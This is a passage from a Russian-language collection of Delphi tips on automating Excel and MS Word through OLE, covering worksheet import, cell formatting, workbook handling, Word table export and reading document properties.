       WorkSheet:=WorkBk.WorkSheets.Get_Item(q) as _WorkSheet;
       if WorkSheet.Name = memoSheets.Lines[x] then begin
         //нашли лист
         bNaydeno:=True;
         WorkSheet.Activate(LOCALE_USER_DEFAULT);//активируем лист
       end;
       if bNaydeno= true then break;
     end;
     if bNaydeno=true then break;
    end;//for
  end else//if
    WorkSheet:=WorkBk.WorkSheets.Get_Item(1) as _WorkSheet;;

------------------
//Поиск последней строки...
//можно заранее ставить в файле какую-нибудь метку, напрмер 99999
//функция Find будет показана ниже
iNameRow,iLastRow: Integer
sNameCol: String
  if Find('99999',iNameRow,sNameCol, WorkSheet) then begin
   iLastRow:=iNameRow-1;//в столбце с наименованием ищем "99999"-конец импорта
  end else begin     //и запоминаем в iRows
   try//если не находим 99999 то ищем последнюю незаполненную ячейку
     WorkSheet.Cells.SpecialCells(xlCellTypeLastCell,EmptyParam).Activate;
     // Получаем значение последней строки
     iLastRow:=(ex1.ActiveCell.Row)-1;
    except
      try
        WorkSheet.Cells.SpecialCells(xlCellTypeLastCell,EmptyParam).Select;
        // Получаем значение последней строки
        iLastRow:=(ex1.ActiveCell.Row);
      except
        iLastRow:=0;
      end;//try-except
    end;//try-except
  end;
memoNames - TMemo с наименованиями столбцов, т.к. в моем проекте у разных поставщиков
//могут столбцы называться по-разному, например, Товар, Наименование, Наименование товара
  //ищем наименование
  For r:=0 to memoNames.Lines.Count-1 do begin
    bNaydeno:=False;
    if Find(memoNames.Lines[r],iNameRow,sNameCol,WorkSheet) then begin
      ...
     break;
    end;//if Find(memoNames.Lines[r],iNameRow,sNameCol) then begin
  end;//For r:=0 to memoNames.Lines.Count-1 do begin
//так ищем все нужные столбцы, запоминая столбец в каждую отдельную переменную

//начинаем импорт со строки iNameRow

//в конце могут начаться пустые строки, если неправльно
//определилась последняя незаполненная ячейка
//тогда нужно прервать цикл импорта
     if (WorkSheet.Cells.Item[iNameRow,sNameCol].Value='') or
      (WorkSheet.Cells.Item[iNameRow,sNameCol].Value=' ') then
      Inc(iStop)//если пустая строка, то увеличиваем на 1
     else
      iStop:=0;//если следующая не пустая то обнуляем и продолжаем импорт
     //если начались пустые строки то прекращаем импорт
     if iStop>4 then break;
//sg1-TStringGrid
     //наименование препарата
     sg1.Cells[1,e]:=WorkSheet.Cells.Item[iNameRow,sNameCol].Value;
     //цена
     sg1.Cells[2,e]:=WorkSheet.Cells.Item[iNameRow,sPriceCol].Value;
//DelProb функция удаления всего лишнего, кроме цифр, точек и запятых
//навыходе получаем вместо "2 305 585,85" "2305585,85"
     sg1.Cells[2,e]:=DelProb(sg1.Cells[2,e]);//удаляем пробелы
     //производитель
     sg1.Cells[3,e]:=WorkSheet.Cells.Item[iNameRow,sProdCol].Value;
     Inc(iNameRow);
//добавляем строки к StringGrid только если они нужны
     if sg1.RowCount=e then sg1.RowCount:=sg1.RowCount+1;

     //прерываем по желанию пользователя
     if fmMain.vAbort=False then begin//прерываем операцию
          ...
       try
        Ex1.Workbooks.Close(LOCALE_USER_DEFAULT);
        Ex1.Disconnect;
        Ex1.Quit;
       except
       end;//try-except

       Exit;
      end;//if fmMain.vAbort=False then begin

//так закрываем Excel
try
  Ex1.Quit;
  Ex1.Disconnect;
 except
  ShowMessage('Ошибка закрытия Excel');
//обнуляем переменную Range
 VarClear(Range);

sText - текст для поиска
iRow - строка, в которой найдено значение
sCol - колонка, в которой найдено значение
UsedRange.Find - параметры для поиска, типа What:=sText, ищем в справке по Excel`ю

Function TfmImpExcel.Find(sText:String;Var iRow:Integer;Var sCol:String;WorkSheetF:_WorkSheet):Bool;
Var
UsedRange, Range: OLEVariant;
t,y:Integer;//вспомогат для импорта
FirstAddress: string;
begin //поиск начали
 Result:=False;
 UsedRange := WorkSheetF.Range['A1','Z5000'];//диапазон поиска, напрмер от 'F25' до 'G30'
 Range := UsedRange.Find(What:=sText, LookIn := xlValues, LookAt := xlWhole,SearchDirection := xlNext);
 if not VarIsClear(Range) then begin
   try
     FirstAddress := Range.Address;
     //вычисляем номер строки из полученного адреса(абсолютные координаты)
     //он начинается после второго значка доллара
     //формат найденной строки,что-то типа $A$2 (абсолютные координаты)
     t:=PosEx('$',FirstAddress,2);
     iRow:=StrToInt(Copy(FirstAddress,t+1,length(FirstAddress)-t));
     //вычисляем номер столбца из полученного адреса(абсолютные координаты)
     //буква начинается со второго символа
     y:=PosEx('$',FirstAddress,2);
     sCol:=Copy(FirstAddress,2,y-2);
     Result:=true;
     VarClear(Range);
     VarClear(UsedRange);
   except
     Result:=False;
   end;//try-except
 end;//if
end;

Еще несколько примеров, используя Ole
Excel:Variant - глобальная переменная

...
begin
//вначале проверяем, не открыт ли Excel  и закрываем
if not VarIsEmpty(Excel) then begin
 Excel.Quit;
 Excel := Unassigned;
end;//if

   Try//открываем Excel и создаем раб.книгу
     Excel:=CreateOleObject('Excel.Application');
     /кол-во листов в новой книге
     Excel.SheetsInNewWorkbook:=1;//
     //добавляем раб.книгу
     Excel.WorkBooks.Add;
     //в переменную "загоняем" текущий лист
     Sheets:=Excel.Workbooks[1].Sheets[1];
   Except
     SysUtils.beep;
     ShowMessage('Не могу открыть Excel!');
     Exit;
   end;//try-except

   //рисуем border
//сначала определяем диапазон
   Range:=Sheets.Range['B1'];
   Range.Borders[4].LineStyle := 1;//Range.Borders[4] - можно ставить от 1 до 8 - точно не мпомню

     //рисуем border вокруг ячейки (обрамление)
     Range.Borders[1].LineStyle := 1;
     Range.Borders[2].LineStyle := 1;
     Range.Borders[3].LineStyle := 1;
     Range.Borders[4].LineStyle := 1;

   //присваиваем значение яцейке
   Sheets.Cells[2,2]:=Edit1.Text;// формат Sheets.Cells[№ строки,№ колонки]
   //так выполняем выравнивание в диапазоне
   //присваиваем диапазону координаты ячейки
   Range:=Sheets.Cells[2,2];//можно переменные Range:=Sheets.Cells[iRow,iCol];
   Range.HorizontalAlignment := xlCenter;
   Range.VerticalAlignment := xlCenter;
   //форматируем шрифт
   Sheets.Cells[iRow,3]:='ЗАЯВКА';
   Range:=Sheets.Cells[iRow,3];
   Range.Font.Bold:=True;

//с присваиванием значения ячейке могут быть проблемы, т.к. Excel думает, что он очень умный
//и вместо числа может переформатировать в дату вида 12дек2004, что бы такого не случилось,
//можно заранее отформатировать ячейку в нужный формат (дата, число, валюта, текстовый)
//все форматы можно узнать в Excel`е, с пом. макросов, просмотрев затем код, созданный самим
//Excel`ем
//#,##0.000$ - денежный
//[$-FC19]dd mmmm yyyy г/;@ - дата
//h:mm;@ - время
//0.00% - проценты
//# ??/?? - простые дроби 21/25
//[<=9999999]###-####;(###) ###-#### - номер телефона
//@ - текстовый формат, если указывать такой формат и присваивать
//числовое значение, а затем складывать, то ничего не выйдет

//передаваемая строки из Delphi может отличаться, нужно эксперементировать
tZay - TTable
dbGridZay - DBGrid
vRow - integer
   while not tZay.Eof do begin
     For iColCount:=0 to dbGridZay.Columns.Count-1 do begin
       Range:=Sheets.Cells[vRow,iColCount+1];
       Case tZay.FieldByName(dbGridZay.Columns[iColCount].FieldName).DataType of
         ftFloat   : begin
                       Range.NumberFormat := '0,000';
                       Sheets.Cells[vRow,iColCount+1]:=
                       tZay.FieldByName(dbGridZay.Columns[iColCount].FieldName).AsFloat
                     end;
         ftString  : begin
                       Range.NumberFormat := '@';
                       Sheets.Cells[vRow,iColCount+1]:=
                       tZay.FieldByName(dbGridZay.Columns[iColCount].FieldName).AsString;
                     end;
         ftInteger : begin
                       Range.NumberFormat := '0';
                       Sheets.Cells[vRow,iColCount+1]:=
                       tZay.FieldByName(dbGridZay.Columns[iColCount].FieldName).AsInteger;
                     end;
         ftAutoinc : begin
                       Range.NumberFormat := '0';
                       Sheets.Cells[vRow,iColCount+1]:=
                       tZay.FieldByName(dbGridZay.Columns[iColCount].FieldName).AsInteger;
                     end;

         ftDate    : begin
                       Range.NumberFormat := '@';
                       dDate:=tZay.FieldByName(dbGridZay.Columns[iColCount].FieldName).AsDateTime;
                       Sheets.Cells[vRow,iColCount+1]:=FormatDateTime('dd.mm.yyyy',dDate);
                     end
       else
         Range.NumberFormat := '@';
         Sheets.Cells[vRow,iColCount+1]:=
         tZay.FieldByName(dbGridZay.Columns[iColCount].FieldName).AsString;
       end;//case-else

удаляем лишние столбцы (по умолчанию со сдвигом влево)

dbGridZay - DBGrid
   For iColCount:= dbGridZay.Columns.Count-1 downto 0 do begin
     if dbGridZay.Columns[iColCount].Visible=False then begin
       UsedRange := Sheets.Range['A1','Z100'];//диапазон поиска заголовка
       Range := UsedRange.Find(What:=dbGridZay.Columns[iColCount].title.Caption, LookIn := xlValues, LookAt := xlWhole,SearchDirection := xlNext);
       if not VarIsEmpty(Range) then begin
         try
           FirstAddress := Range.Address;
           s:=StringReplace(FirstAddress,'$','',[rfReplaceAll]);
           [b]Range:=Sheets.Range[s+':'+Copy(s,1,1)+IntToStr(vRow)];[/b]
           [b]Range.Delete;[/b]
         except

         end;//try
       end;//if not VarIsEmpty(Range)then begin
     end;//if dbGridZay.Columns[iColCount].Visible=False then begin
   end;//for delete

//Объединение ячеек
Sheet.Range[...].Merge(Across)

Относительно LOCALE_USER_DEFAULT
Теоретически, в MSDN написано: "Indicates that the parameter is a locale ID (LCID)". Одни (Чарльз Калверт) предлагают в качестве его использовать 0, как идентификатор языка по умолчанию, другие - результат функции GetUserDefaultLCID. В некоторых случаях, чаще в связке Windows 2000 + Excel 2000, оба решения не проходят. Причем, выдается сообщение о попытке "использовать библиотеку старого формата..." Поэтому, рекомендуем в качестве lcid использовать значение константы LOCALE_USER_DEFAULT.

Относительно открытия существующих рабочих книг

Вот как описан метод Open в импортированной библиотеке типов:
function Open(const Filename: WideString; UpdateLinks: OleVariant; ReadOnly: OleVariant;
Format: OleVariant; Password: OleVariant; WriteResPassword: OleVariant;
IgnoreReadOnlyRecommended: OleVariant; Origin: OleVariant;
Delimiter: OleVariant; Editable: OleVariant; Notify: OleVariant;
Converter: OleVariant; AddToMru: OleVariant; lcid: Integer): Workbook; safecall;

Что вам из всего этого может понадобиться:
· FileName
Имя открываемого файла, желательно с полным путем, иначе Excel будет искать этот файл в каталоге по умолчанию;
· AddToMru
True - если необходимо запомнить файл в списке последних открытых файлов;
· IgnoreReadOnlyRecommended
Если файл рекомендован только для чтения, то при открытии Excel выдает соответствующее предупреждение. Чтобы его игнорировать, передайте в качестве данного параметра True.
Используя позднее связывание
При позднем связывании не нужно указывать все дополнительные параметры или LCID, можно просто написать вот так:
var
Workbook: OLEVariant;
...
Workbook := Excel.WorkBooks.Open('C:\Test.xls');

Примечание:
Если вы хотите получше узнать метод Open, например, как с его помощью открывать файлы текстовых форматов с разделителями, воспользуйтесь "пишущим" плеером VBA. Запишите макросы, а затем поправьте их по необходимости.

Создание новой книги

Используя раннее связывание
var
IWorkbook: Excel8_TLB._Workbook;
...
IWorkbook := IExcel.Workbooks.Add(EmptyParam, xlLCID);

Передача в качестве первого параметра EmptyParam означает, что будет создана новая книга с количеством пустых листов, выставленным по умолчанию. Если в первом параметре вы передадите имя файла (с полным путем, иначе поиск осуществляется в каталоге по умолчанию), этот файл будет использован как шаблон для новой книги. Вы можете также передать одну из следующих констант: xlWBATChart, xlWBATExcel4IntlMacroSheet, xlWBATExcel4MacroSheet, или xlWBATWorksheet. В результате будет создана новая книга с единственным листом указанного типа.
Внимание - важно!
Excel не может держать открытыми несколько книг с одинаковыми названиями, даже если они лежат в разных каталогах, поэтому при создании файла по шаблону добавляет к имени файла новой книги номер (шаблон "test.xls" - новый файл "test1.xls").

Закрытие книги

Используя раннее связывание
var
SaveChanges: boolean;
...
SaveChanges := True;
IWorkbook.Close(SaveChanges, EmptyParam, EmptyParam, xlLCID);

Если в качестве параметра SaveChanges вы передадите EmptyParam, Excel задаст вопрос, сохранять ли рабочую книгу. Второй параметр позволяет вам определить имя файла, а третий указывает, нужно ли отправлять книгу следующему получателю.
Используя позднее связывание
При позднем связывании нет необходимости указывать дополнительные параметры, поэтому вы можете просто написать:

Workbook.Close(SaveChanges := True);
или
Workbook.Close;

Как передать абсолютный адрес ячейки?

Нужно использовать символ $ - Лист1!$A$1:$D$3'

Так можно добавить новый модуль:
var
IModule: VBIDE8_TLB.VBComponent; //с эти нужно поэксперементировать
...
IModule := IWorkbook.VBProject.VBComponents.Add( TOLEEnum(VBIDE8_TLB.vbext_ct_StdModule) );
IModule.Name :='MyModule1';

,поместить в него новую процедуру VBA:

IModule.CodeModule.AddFromString('PUBLIC SUB MySub1()'#13'Msgbox "Hello, World!"'#13'End sub'#13);

и запустить эту процедуру

OLEVariant(Excel).Run('MyModule1.MySub1');

Различные способы обращения к ячейкам
Var
Value:Variant;
...
try
//различные способы
Value := ISheet.Cells.Item[2, 1].Value;
Value := ISheet.Range['A2', EmptyParam].Value;
Value := ISheet.Range['TestCell', EmptyParam].Value;
Value := IWorkbook.Names.Item('TestCell', EmptyParam, EmptyParam).RefersToRange.Value;
finally
ISheet := nil;
end;

Копирование данных в буфер обмена

var
ISheetSrc, ISheetDst: Worksheet;//в разных версиях
IRangeSrc, IRangeDst: Range; //могут объявляться по разному
...
IRangeSrc.Copy(IRangeDst);

Метод Copy интерфейса Range принимает в качестве параметра любой другой Range, совпадение размеров источника и получателя необязательно.
При копировании области убедитесь, что не редактируете ячейку, иначе возникнет исключение "Call was rejected by callee".
Использование метода Copy без указания параметра destination скопирует ячейки в буфер обмена.

Автор dsergey
Взято с Vingrad.ru http://forum.vingrad.ru


Как зыкрыть Excel

try
  Ex1.Workbooks.Close(LOCALE_USER_DEFAULT);
  Ex1.Disconnect;
  Ex1.Quit;
  Ex1:=nil;
 except
 end;

Автор dsergey
Взято с Vingrad.ru http://forum.vingrad.ru


Работа с MS Word

Cодержание раздела:

Работа с MS Word из Delphi
Работа с Word через OLE
Как прочитать/изменить свойства Word документа?
Как экспортировать StringGrid в MS Word таблицу?
Как экспортировать таблицу в MS Word в TStringGrid?
Как заполнить поля формы в MS Word?
Как заменить текст в документе MS Word?
Как вставить свой пункт меню?
Как поменять ссылку в тексте?
Как проверить инсталлирован ли MS Word?
Как сохранить текст MS Word в другом формате?
Как заменить значение переменных для текста MS Word?
Как узнать версию MS Word?
Как добавить текст к закладке?
Как создать таблицу в MS Word?
Как работать с Shapes
Как добавить текст в header документа?
Как добавить текст в footer документа?
Как работать с объектом Excel вставленном в Word документ?
Как сделать поиск/замену в документе?
Как работать с WordBasic?
Пример запуска макроса в MS WinWord
Как вставить RTF в Word? New!
Как получить RTF из Word без буффера обмена? New!


Работа с MS Word из Delphi

1. Управление Word-ом из Delphi.
(опубликовано - 13 SoftWare)
Здесь мы рассмотрим пример того, как управлять объектами Word-а (Excel - аналогично) из программ на Delphi. Исходный код примера можно скачать на страничке 'DownLoad'
а). Для чего это нужно ?
Задачи могут быть самые разные, в общем случае это использование возможностей Word-а в своей программе, н-р: проверка текста на орфографию; печать текста, графики; экспорт отчетов в Word или изначальное создание их там и т.д.

б). Подготовительные работы. На самом деле существует несколько способов сделать это, мы рассмотрим только один (пример кроме Delphi 5, в Delphi5 для этого есть компоненты на закладке Servers переименуете в программе типы на соответствующие компоненты, дальше так же).
Для начала начнем новый проект File, New Application; File, Save All. Создадим отдельную папку для проекта и сохраним Unit1 как Main, а Project1 как WordWriter.
Далее для работы с Word-ом нам потребуется библиотека типов Word-а, это делается так:
Project, Import Type Library, Add, далее переходим в папку, где стоит Word ( у меня это - "c:\program files\microsoft office) , заходим в папку Office и выбираем файл - msword8.olb (цифра -? версии Word-а - у Вас может отличаться ) или excel8.olb (для Excel).Нажимаем Оk. Delphi создаст 2 файла - Word_tlb.pas и Office_tlb.pas, их надо включить в раздел uses модуля Main нашего проекта:

uses ... ,Office_Tlb, word_tlb;

в). Теперь займемся непосредственно программированием.
В разделе var опишем следующие переменные:

// класс приложения ворда
WordApp:Word_tlb.Application_;
// класс чего-то типа выделения,
// т.е. говоришь - выделить ячейку с ... по, а результат скидываешь
// в эту перем и работаешь с этими ячейками как с 1 объектом
ARange,TempRange:Range;
// массив документов
Docs:documents;
// 1 документ
Doc:document;
// массив параграфов
pars:Paragraphs;
// 1 параграф
par:Paragraph;
// параметры для передачи
Template,temp,OpenAsTemplate:olevariant;
// массив таблиц
tabls:Tables;
// 1 таблица
tabl:Table;
// рабочая переменная
i:integer;

Далее проектируем форму:
1. Поместим вверх нашей формы кнопку - button1 типа tbutton, поменяем заголовок (св-во Caption) на 'Старт'.
2. Под кнопкой разместим панель - panel1 типа tpanel. Внутри панели поместим компонент - bevel1 типа tbevel, поменяем св-во Align на alClient (при этом рамка растянется на всю панель).
3. Сверху панели (далее все компоненты будут размещаться внутри этой панели) разместим метку - label1 типа tlabel, поменяем значение св-ва Caption на 'Передать в ячейку':
4. Ниже слева поместим метку - label1 типа tlabel, св-во Caption поменяем на 'X='
5. Правее метки помещаем компонент Edit1 типа tEdit, св-во Text меняем на '1'
6. По правой границе Edit1 помещаем компонент UpDown1 типа tUpDown, в списке св-ва 'Associate' выбираем Edit1, св-во 'Position' приравниваем '1'
7. Чуть отступаем вправо и повторяем шаги 4-6 , заменив Edit1 на Edit2, UpDown1 на UpDown2, Label1 на Label2 соответственно.
8. Ниже размещаем еще одну метку - label4 типа tlabel, меняем св-во 'Caption' на 'Новое значение ячейки:'
9. Ниже размещаем компонент Edit3 типа tEdit, св-во Text меняем на '0'
10. И, наконец, в самом низу панели размещаем кнопку BitBtn1 типа tBitBtn, меняем св-во 'Kind' на 'bkOk'.
Теперь напашем обработчики - именно в них и заключается вся функциональность программы:

1. Назначим обработчик OnClick компоненту Button1 :

procedure TForm1.Button1Click(Sender: TObject);
begin
// если заголовок 'Выход', то закрываем программу
if button1.caption='Выход' then
begin
Application.Terminate;
exit
end
// иначе (при первом начатии, когда у нас заголовок 'Старт')
//переименовываем заголовок в 'Выход'
else button1.caption:='Выход';

panel1.Visible:=true;
// создаем экземпляр ворда
WordApp:=CoApplication_.Create;
// делаем его видимым
WordApp.Visible:=true;
// шаблон
template:='Normal';
// создать шаблон
OpenAsTemplate:=false;
// что-то типа оператора with, можно было и напрямую обратиться
Docs:=WordApp.Documents;
// добавляем документ
Doc:=Docs.Add(template,OpenAsTemplate);

// выделить все
ARange:=Doc.Range(EmptyParam,EmptyParam);
// массив параграфов
pars:=doc.Paragraphs;
// переменная - параметр
template:=arange;
// новый параграф
par:=pars.Add(template);
// цвет зеленный
par.Range.Font.ColorIndex:=11;
// вставляем текст
par.Range.InsertBefore('Привет !!!');
// переменная - параметр
template:=par.Range;
// новый параграф, чтобы таблица не потерла текст
par:=pars.Add(template);
// цвет черный
par.Range.Font.ColorIndex:=0;
// вставляем текст
par.Range.InsertBefore('Переключившись в программу, можно программно менять текст ячеек !');
// переменная - параметр
template:=par.Range;
// новый параграф, чтобы таблица не потерла текст
par:=pars.Add(template);
// выделяем параграф
arange:=par.Range;

// шрифт - жирный
ARange.Font.Bold:=1;
// шрифт - рукописный
ARange.Font.Italic:=1;
// получить массив таблиц
tabls:=aRange.Tables;
// добавляем новую таблицу размером 5 на 5
tabl:=tabls.Add(arange,5,5);
// в цикле
for i:=1 to 5 do
// задаем значение ячеек
tabl.Cell(i,1).Range.Text:=inttostr(i);

end;

2. Зададим обработчик формы:

procedure TForm1.FormDestroy(Sender: TObject);
var
   // для параметров
   SaveChanges:olevariant;
begin
  // если Word не закрыт
  if not VarIsEmpty(WordApp) then begin
   { а можно сохранить автоматом:
      // имя файла в оле
      template:='Имя.doc';
      // если не сохранен, то
      if doc.Saved=false then
          // сохраняем
          Doc.SaveAs(template, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam);

      короче, пишешь имя объекта, ставишь точку и нажимаешь
     'ctrl'+' ' и изучаешь существующие методы и св-ва
      }
  //изменения не сохранять
  SaveChanges:=false;
  // то закрыть сначала документ
  Doc.Close(SaveChanges,EmptyParam,EmptyParam);
  // а потом и ворд
  WordApp.Quit(SaveChanges,EmptyParam,EmptyParam)
end;
end;

3. Назначим обработчик OnClick компоненту Bitbtn1 :

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
// в соотв ячейку ставим соотв значение,
// а можно и наоборот - получать значение из ячейки в переменную
tabl.Cell(UpDown2.Position,UpDown1.Position).Range.Text:=Edit3.Text;
end;

в). В общем-то, это все ...
г). Дополнительная информация:
· Справка Word-а (по Visual Basic, по умолчанию она не ставится - запустите заново Setup и поставте в соотв. месте галочку)
· Книги:
- Чарльз Калверт "Энциклопедия пользователя Delphi4"
(издательство - DiaSoft)
- Марко Кэнту "Delphi4 для профессионалов"
(издательство - Питер)
· Если у Вас другая версия Word-а:
Параметры ф-ций могут отличаться - обратитесь к справке (см выше) или если у Вас версия Delphi 3 и выше, то используем универсальный метод - пишешь имя объекта, ставишь точку (если нужно посмотреть список параметров у функции , то после открывающей скобки ) , нажимаешь 'ctrl'+'пробел' и изучаешь существующие методы и св-ва.

(c) 13 SoftWare. Статья взята с сайта www.vladimir13.narod.ru
Взято из http://forum.sources.ru


Работа с Word через OLE

unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics,      Controls, Forms,      Dialogs, Buttons,ComCtrls, ExtCtrls, OleCtnrs;

type TForm1 = class(TForm)
    OleContainer1: TOleContainer;
    Panel1: TPanel;
    StatusBar1: TStatusBar;
    mbLoad: TSpeedButton;
    mbPrint: TSpeedButton;
    OpenDialog1: TOpenDialog;
    procedure mbLoadClick(Sender: TObject);
    procedure mbPrintClick(Sender: TObject);
  private
 { Private declarations }
  public
{ Public declarations }
  end;
var Form1: TForm1; i
  mplementation{$R *.DFM}

procedure TForm1.mbLoadClick(Sender: TObject);
begin
  // Покажем диалог, и если он отработал, то загрузим в контейнер
  if OpenDialog1.Execute and (OpenDialog1.FileName <> '') then
    OleContainer1.CreateObjectFromFile(OpenDialog1.FileName, false);
  / Если загрузилось что - нибудь, то покажем
    if OleContainer1.State <> osEmpty then OleContainer1.DoVerb(ovShow);
end;

procedure TForm1.mbPrintClick(Sender: TObject);
var V: Variant;
begin
  if OleContainer1.State = osEmpty then
    begin
      MessageDlg('OLE не загружен !!', mtError, [mbOk], 0);
      exit;
    end;
// Получаем объект, который воплощает в себе WordBasic интерфейс
  V := OleContainer1.OleObject.Application.WordBasic;
// Командуем до одурения ....
  V.FilePrint; end; end.

Взято с сайта http://blackman.wp-club.net/


Как прочитать/изменить свойства Word документа?

{ 1. Change MS Word properties via OLE }

uses
  ComObj;

procedure TForm1.Button1Click(Sender: TObject);
const
  wdPropertyTitle = $00000001;
  wdPropertySubject = $00000002;
  wdPropertyAuthor = $00000003;
  wdPropertyKeywords = $00000004;
  wdPropertyComments = $00000005;
  wdPropertyTemplate = $00000006;
  wdPropertyLastAuthor = $00000007;
  wdPropertyRevision = $00000008;
  wdPropertyAppName = $00000009;
  wdPropertyTimeLastPrinted = $0000000A;
  wdPropertyTimeCreated = $0000000B;
  wdPropertyTimeLastSaved = $0000000C;
  wdPropertyVBATotalEdit = $0000000D;
  wdPropertyPages = $0000000E;
  wdPropertyWords = $0000000F;
  wdPropertyCharacters = $00000010;
  wdPropertySecurity = $00000011;
  wdPropertyCategory = $00000012;
  wdPropertyFormat = $00000013;
  wdPropertyManager = $00000014;
  wdPropertyCompany = $00000015;
  wdPropertyBytes = $00000016;
  wdPropertyLines = $00000017;
  wdPropertyParas = $00000018;
  wdPropertySlides = $00000019;
  wdPropertyNotes = $0000001A;
  wdPropertyHiddenSlides = $0000001B;
  wdPropertyMMClips = $0000001C;
  wdPropertyHyperlinkBase = $0000001D;
  wdPropertyCharsWSpaces = $0000001E;
const
  AWordDoc = 'C:\Test.doc';
  wdSaveChanges = $FFFFFFFF;
var
  WordApp: OLEVariant;
  SaveChanges: OleVariant;
begin
  try
    WordApp := CreateOleObject('Word.Application');
  except
    // Error....
    Exit;
  end;
  try
    WordApp.Visible := False;
    WordApp.Documents.Open(AWordDoc);
    WordApp.ActiveDocument.BuiltInDocumentProperties[wdPropertyTitle].Value := 'Your Title...';
    WordApp.ActiveDocument.BuiltInDocumentProperties[wdPropertySubject].Value := 'Your Subject...';
    // ...
    // ...
  finally
    SaveChanges := wdSaveChanges;
    WordApp.Quit(SaveChanges, EmptyParam, EmptyParam);
  end;
end;

{**********************************************}

{
  2. Read MS Word properties via Structured Storage.
  by Serhiy Perevoznyk
}
uses
  ComObj, ActiveX;

const
  FmtID_SummaryInformation: TGUID =
    '{F29F85E0-4FF9-1068-AB91-08002B27B3D9}';

function FileTimeToDateTimeStr(F: TFileTime): string;
var
  LocalFileTime: TFileTime;
  SystemTime: TSystemTime;
  DateTime: TDateTime;
begin
  if Comp(F) = 0 then Result := '-'
  else
  begin
    FileTimeToLocalFileTime(F, LocalFileTime);
    FileTimeToSystemTime(LocalFileTime, SystemTime);
    with SystemTime do
      DateTime := EncodeDate(wYear, wMonth, wDay) +
        EncodeTime(wHour, wMinute, wSecond, wMilliseconds);
    Result := DateTimeToStr(DateTime);
  end;
end;

function GetDocInfo(const FileName: WideString): string;
var
  I: Integer;
  PropSetStg: IPropertySetStorage;
  PropSpec: array[2..19] of TPropSpec;
  PropStg: IPropertyStorage;
  PropVariant: array[2..19] of TPropVariant;
  Rslt: HResult;
  S: string;
  Stg: IStorage;
begin
  Result := '';
  try
    OleCheck(StgOpenStorage(PWideChar(FileName), nil, STGM_READ or
      STGM_SHARE_DENY_WRITE,
      nil, 0, Stg));
    PropSetStg := Stg as IPropertySetStorage;
    OleCheck(PropSetStg.Open(FmtID_SummaryInformation,
      STGM_READ or STGM_SHARE_EXCLUSIVE, PropStg));
    for I := 2 to 19 do
    begin
      PropSpec[I].ulKind := PRSPEC_PROPID;
      PropSpec[I].PropID := I;
    end;
    Rslt := PropStg.ReadMultiple(18, @PropSpec, @PropVariant);
    OleCheck(Rslt);
    if Rslt <> S_FALSE then for I := 2 to 19 do
      begin
        S := '';
        if PropVariant[I].vt = VT_LPSTR then
          if Assigned(PropVariant[I].pszVal) then
            S := PropVariant[I].pszVal;
        case I of
          2:  S  := Format('Title: %s', [S]);
          3:  S  := Format('Subject: %s', [S]);
          4:  S  := Format('Author: %s', [S]);
          5:  S  := Format('Keywords: %s', [S]);
          6:  S  := Format('Comments: %s', [S]);
          7:  S  := Format('Template: %s', [S]);
          8:  S  := Format('Last saved by: %s', [S]);
          9:  S  := Format('Revision number: %s', [S]);
          10: S := Format('Total editing time: %g sec',
              [Comp(PropVariant[I].filetime) / 1.0E9]);
          11: S := Format('Last printed: %s',
              [FileTimeToDateTimeStr(PropVariant[I].filetime)]);
          12: S := Format('Create time/date: %s',
              [FileTimeToDateTimeStr(PropVariant[I].filetime)]);
          13: S := Format('Last saved time/date: %s',
              [FileTimeToDateTimeStr(PropVariant[I].filetime)]);
          14: S := Format('Number of pages: %d', [PropVariant[I].lVal]);
          15: S := Format('Number of words: %d', [PropVariant[I].lVal]);
          16: S := Format('Number of characters: %d',
              [PropVariant[I].lVal]);
          17:; // thumbnail
          18: S := Format('Name of creating application: %s', [S]);
          19: S := Format('Security: %.8x', [PropVariant[I].lVal]);
        end;
        if S <> '' then Result := Result + S + #13;
      end;
  finally
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if Opendialog1.Execute then
    ShowMessage(GetDocInfo(opendialog1.FileName));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как экспортировать StringGrid в MS Word таблицу?

uses
  ComObj;

procedure TForm1.Button1Click(Sender: TObject);
var
  WordApp, NewDoc, WordTable: OLEVariant;
  iRows, iCols, iGridRows, jGridCols: Integer;
begin
  try
    // Create a Word Instance
    // Word Instanz erzeugen
    WordApp := CreateOleObject('Word.Application');
  except
    // Error...
    // Fehler....
    Exit;
  end;

  // Show Word
  // Word anzeigen
  WordApp.Visible := True;

  // Add a new Doc
  // Neues Dok einfugen
  NewDoc := WordApp.Documents.Add;

  // Get number of columns, rows
  // Spalten, Reihen ermitteln
  iCols := StringGrid1.ColCount;
  iRows := StringGrid1.RowCount;

  // Add a Table
  // Tabelle einfugen
  WordTable := NewDoc.Tables.Add(WordApp.Selection.Range, iCols, iRows);

  // Fill up the word table with the Stringgrid contents
  // Tabelle ausfullen mit Stringgrid Daten
  for iGridRows := 1 to iRows do
    for jGridCols := 1 to iCols do
      WordTable.Cell(iGridRows, jGridCols).Range.Text :=
        StringGrid1.Cells[jGridCols - 1, iGridRows - 1];

  // Here you might want to Save the Doc, quit Word...
  // Hier evtl Word Doc speichern, beenden...

  // ...

  // Cleanup...
  WordApp := Unassigned;
  NewDoc := Unassigned;
  WordTable := Unassigned;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как экспортировать таблицу в MS Word в TStringGrid?

uses
  ComObj;

procedure TForm1.Button1Click(Sender: TObject);
const
  AWordDoc = 'C:\xyz\testTable.doc';
var
  MSWord, Table: OLEVariant;
  iRows, iCols, iGridRows, jGridCols, iNumTables, iTableChosen: Integer;
  CellText: string;
  InputString: string;
begin
  try
    MSWord := CreateOleObject('Word.Application');
  except
    // Error....
    Exit;
  end;

  try
    MSWord.Visible := False;
    MSWord.Documents.Open(AWordDoc);

    // Get number of tables in document
    iNumTables := MSWord.ActiveDocument.Tables.Count;

    InputString := InputBox(IntToStr(iNumTables) +
      ' Tables in Word Document', 'Please Enter Table Number', '1');
    // Todo: Validate string for integer, range...
    iTableChosen := StrToInt(InputString);

    // access table
    Table := MSWord.ActiveDocument.Tables.Item(iTableChosen);
    // get dimensions of table
    iCols := Table.Rows.Count;
    iRows := Table.Columns.Count;
    // adjust stringgrid columns
    StringGrid1.RowCount := iCols;
    StringGrid1.ColCount := iRows + 1;

    // loop through cells
    for iGridRows := 1 to iRows do
